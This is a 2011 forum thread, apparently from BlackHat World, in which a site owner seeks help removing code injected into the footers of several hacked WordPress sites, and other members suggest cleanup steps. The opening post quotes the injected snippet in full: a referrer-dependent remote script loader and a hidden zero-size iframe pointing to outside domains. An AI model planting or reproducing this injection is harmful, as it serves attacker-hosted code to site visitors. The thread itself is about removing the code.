HELP! Wordpress blogsites hacked

kyaw2x · Dec 20, 2011

My 2 WP blog site including 1 client WP site was hacked and injected with this code at the footer:

Code:

<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.votistics.com/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.votistics.com/jquery.js"></scr'+'ipt>'); } </script><iframe src="[URL="http://www.blackhatworld.com/blackhat-seo/view-source:http://pillachil.net46.net/picture/"]http://pillachil.net46.net/picture/[/URL]" width="0%" height="0%"></iframe>

I have re upload new wordpress files and theme files, deactivate plugins but still the code is there, I am not a WP expert so I need help from you guys if ever anyone here encounter this king of code.

Thanks!

BlaqReaper · Dec 20, 2011

Are you sure the code isn't in the footer file of some of your files (especially nulled files)?

sukataetumba · Dec 20, 2011

check the index.php file

kyaw2x · Dec 20, 2011

BlaqReaper said:
Are you sure the code isn't in the footer file of some of your files (especially nulled files)?

Yes, I have checked the files but can't find it.

kyaw2x · Dec 20, 2011

The code was placed after <?php wp_footer(); ?>

No suspicious code found also in index.php

jon_xx_x · Dec 20, 2011

Login to FTP and look what files have been edited recently. There's probably about five of them with that code.

kyaw2x · Dec 20, 2011

jon_xx_x said:
Login to FTP and look what files have been edited recently. There's probably about five of them with that code.

Yes I did that. I search the code in the ff php files but nothing found.

index.php
header.php
functions.php
footer.php

I have also installed TAC (Theme Authenticity Checker) and still nothing suspicious code found.

gundamwing · Dec 20, 2011

you need the info of the themes
or show your website to give more infos

BlaqReaper · Dec 20, 2011

Do you have notepad++? It can search an entire folder. I'd download it and search through the Wordpress folder. Also it could be encoded so look for suspicious looking string files that don't make sense.

assassinmarketing · Dec 20, 2011

What type of security do you have on your site? (Firewalls, php defender etc.)
please tell me your WP panel login isn't "Admin"
when you log back in check to see if anyone added themselves with admin status etc.
there's a lot of solid free WP plugins to help you avoid these situations and remedy them.

kyaw2x · Dec 20, 2011

gundamwing said:
you need the info of the themes
or show your website to give more infos

I'm sorry I won't disclose my sites here. I'm using free wordpress theme not nulled premium theme.

BlaqReaper said:
Do you have notepad++? It can search an entire folder. I'd download it and search through the Wordpress folder. Also it could be encoded so look for suspicious looking string files that don't make sense.

Yes, I'm using Notepadd++ in editing code. I also suspect that the code was encoded so I must find longer time to check the files one by one.

deserte · Dec 20, 2011

For future just DON'T use encrypted themes.

bdtyrone · Dec 20, 2011

Follow this guide:

Code:

http://www.kimoftheworld.com/01/what-to-do-when-your-blog-is-hacked-steps-in-recovering-your-hacked-wordpress-blog.html

kyaw2x · Dec 20, 2011

assassinmarketing said:
What type of security do you have on your site? (Firewalls, php defender etc.)
please tell me your WP panel login isn't "Admin"
when you log back in check to see if anyone added themselves with admin status etc.
there's a lot of solid free WP plugins to help you avoid these situations and remedy them.

I only secured my blogs with secret keys in wp-config.php

gundamwing · Dec 20, 2011

just set to default wordpress and check
if there no injected on the footer
the answer is the themes and you should change the themes

s4nt0s · Dec 20, 2011

This happened to a couple of my sites recently. There are plenty of people on Fiverr who offer services for hacked WP sites. If you can't figure out yourself, it's worth a shot.

kkvsam · Dec 20, 2011

Tell me your url in PM. I'll guide you to fix it for free

kyaw2x · Dec 20, 2011

kkvsam said:
Tell me your url in PM. I'll guide you to fix it for free

Thanks for the offer, I will try to solve first with myself.
I'll let you know if it won't help.

houcemtrigun · Dec 20, 2011

I went through something similar too. Contact your hosting company and ask them to perform a scam.
It is most likely a database injection. That's why you will not be able to see the code using ftp.
As I told you, talk to your hosting company. They can restore your hosting to what it was before the hacking and scan for any malicious software.

kkvsam · Dec 20, 2011

as you wish.

kyaw2x said:
Thanks for the offer, I will try to solve first with myself.
I'll let you know if it won't help.

HELP! Wordpress blogsites hacked

Regular Member

Junior Member

Senior Member

Regular Member

Regular Member

Elite Member

Regular Member

Supreme Member

Junior Member

Regular Member

Regular Member

Junior Member

Regular Member

Regular Member

Supreme Member

Elite Member

Senior Member

Regular Member

Registered Member

Senior Member

Main Menu

Marketplace

Making Money

BlackHat World